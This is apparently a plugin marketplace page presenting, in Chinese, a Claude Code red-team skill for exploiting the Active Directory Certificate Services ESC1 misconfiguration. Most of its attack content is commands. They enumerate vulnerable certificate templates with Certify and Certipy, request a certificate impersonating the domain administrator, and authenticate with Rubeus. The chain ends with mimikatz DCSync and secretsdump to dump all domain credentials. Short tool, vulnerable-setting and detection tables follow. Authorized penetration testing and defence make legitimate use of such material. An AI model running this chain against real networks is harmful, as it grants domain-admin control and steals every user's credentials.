/cybersecurity-skills-zh:exploiting-active-directory-certificate-services-esc1from cybersecurity-skills-zh
Exploits AD CS ESC1 misconfiguration to request certificates as any domain user and escalate privileges to domain administrator.
Ships in cybersecurity-skills-zh. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them; scripts run unread.
ESC1(升级场景 1)是活动目录证书服务(AD CS)中的一个严重错误配置,允许低权限用户代表任何其他用户(包括域管理员)申请证书。当证书模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志(也称为"在请求中提供"),并结合允许客户端认证的扩展密钥用法(EKU,如客户端认证、PKINIT 客户端认证、智能卡登录或任意目的)时,该漏洞就会存在。这允许攻击者在证书请求中指定任意主题备用名称(SAN),从而有效模拟任何域用户。ESC1 由 SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在其《Certified Pre-Owned》白皮书(2021)中记录,仍然是最常见的 AD CS 攻击路径之一。MITRE ATT&CK 框架将其追踪为 T1649(窃取或伪造认证证书)。
# 使用 Certify(Windows)
Certify.exe cas
# 使用 Certipy(Linux/Python)
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1
# 使用 Certify - 查找易受攻击的模板
Certify.exe find /vulnerable
# 使用 Certipy - 输出 JSON 和文本报告
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
msPKI-Certificate-Name-Flag 包含 ENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsage 包含客户端认证或智能卡登录msPKI-Enrollment-Flag 不需要经理审批# 使用 Certify(Windows)
Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
# 使用 Certipy(Linux)
certipy req -u [email protected] -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn [email protected]
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# 使用 Rubeus(Windows)
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
# 使用 Certipy(Linux)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# DCSync 以转储所有域凭据
mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
# 或使用获得的 NT 哈希和 secretsdump.py
secretsdump.py domain.local/[email protected] -hashes :ntlmhash
# 列出域控制器
dir \\DC01.domain.local\C$
# 访问域管理员共享
dir \\DC01.domain.local\SYSVOL
| 工具 | 用途 | 平台 |
|---|---|---|
| Certify | AD CS 枚举和证书申请 | Windows(.NET) |
| Certipy | AD CS 枚举、申请和认证 | Linux(Python) |
| Rubeus | 使用证书的 Kerberos 认证(PKINIT) | Windows(.NET) |
| Mimikatz | 提权后凭据转储 | Windows |
| secretsdump.py | 远程凭据转储(Impacket) | Linux(Python) |
| PSPKIAudit | PowerShell AD CS 审计模块 | Windows |
| ForgeCert | 证书伪造工具 | Windows(.NET) |
| 条件 | 易受攻击的值 |
|---|---|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | 客户端认证 (1.3.6.1.5.5.7.3.2) |
| 注册权限 | Domain Users 或 Authenticated Users |
| msPKI-Enrollment-Flag | 不需要经理审批 |
| CA 设置 | 不强制审批工作流 |
| 指标 | 检测方法 |
|---|---|
| 证书请求中的 SAN 与申请者不同 | CA 服务器上的 Windows 事件 4886/4887 |
| 异常的 PKINIT 认证 | 带证书预认证的事件 4768 |
| Certify.exe 或 Certipy 执行 | EDR 进程监控和命令行日志 |
| 批量证书模板枚举 | 对 pkiCertificateTemplate 对象的 LDAP 查询监控 |
| 颁发给不匹配 UPN 的证书 | CA 审计日志和证书透明度 |
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
red-team, active-directory, ad-cs, esc1, certificate-abuse, privilege-escalation
npx claudepluginhub killvxk/cybersecurity-skills-zh --plugin cybersecurity-skills-zh735 skills in this plugin
/acquiring-disk-image-with-dd-and-dcfldd使用 dd 和 dcfldd 创建取证级逐位磁盘镜像,通过哈希验证保持证据完整性。/analyzing-active-directory-acl-abuse使用 ldap3 检测 Active Directory 中危险的 ACL 配置错误,识别 GenericAll、WriteDACL 和 WriteOwner 等滥用路径/analyzing-android-malware-with-apktool使用 apktool 进行反编译、jadx 恢复 Java 源码、androguard 进行权限分析,对 Android APK 恶意软件样本执行静态分析,包括清单检查和可疑 API 调用检测。Other plugins' skills for the same job